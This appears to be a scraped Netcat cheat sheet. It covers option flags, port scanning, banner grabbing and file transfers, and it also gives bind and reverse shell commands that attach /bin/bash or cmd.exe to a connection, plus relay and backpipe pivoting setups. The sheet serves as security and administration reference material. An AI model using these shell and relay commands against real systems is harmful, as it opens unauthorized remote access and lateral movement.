CheatSheet
nc) is a powerful networking tool used for various tasks, including port scanning, banner grabbing, file transfers, and creating backdoor shells. This cheat sheet covers essential commands and techniques.$ nc [options] [TargetIPaddr] [port(s)][TargetIPaddr]: The IP address or domain name of the target. Required in client mode, optional in listen mode.-l: Listen mode (default is client mode).-L: Listen harder (Windows only). Makes Netcat a persistent listener that restarts after a client disconnects.-u: UDP mode (default is TCP).-p: Local port (In listen mode, the port Netcat listens on. In client mode, the source port for outgoing packets).-e: Program to execute after connection, linking STDIN and STDOUT to the program.-n: Avoid DNS lookups.-z: Zero-I/O mode. No data is sent; only a connection attempt is made.-wN: Timeout for connects. Waits N seconds after closure of STDIN.-v: Verbose mode. Prints messages on STDERR.-vv: Very verbose mode. Prints even more details.Connect to a specific port on a target IP address:
$ nc [TargetIPaddr] [port]Create a listener on a specific local port:
$ nc -l -p [LocalPort]Perform a port scan on a target IP address:
$ nc -v -n -z -w1 [TargetIPaddr] [start_port]-[end_port]-v: Verbose output.-n: No DNS resolution.-z: Zero-I/O mode.-w1: 1-second timeout.Grab the banner of a TCP service:
$ echo "" | nc -v -n -w1 [TargetIPaddr] [port]Add -r to randomize ports within a range or -p [port] to specify a source port.
On the listener:
$ nc -l -p [LocalPort] > [outfile]On the client:
$ nc -w3 [TargetIPaddr] [port] < [infile]On the listener:
$ nc -l -p [LocalPort] < [infile]On the client:
$ nc -w3 [TargetIPaddr] [port] > [outfile]$ nc -l -p [LocalPort] -e /bin/bashC:\> nc -l -p [LocalPort] -e cmd.exe$ nc [YourIPaddr] [port] -e /bin/bashC:\> nc [YourIPaddr] [port] -e cmd.exeC:\> echo nc [TargetIPaddr] [port] > relay.bat
C:\> nc -l -p [LocalPort] -e relay.batCreate a FIFO named pipe called backpipe:
$ cd /tmp
$ mknod backpipe pThen, use:
$ nc -l -p [LocalPort_1] 0<backpipe | nc -l -p [LocalPort_2] | tee backpipe$ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipeÚltima actualización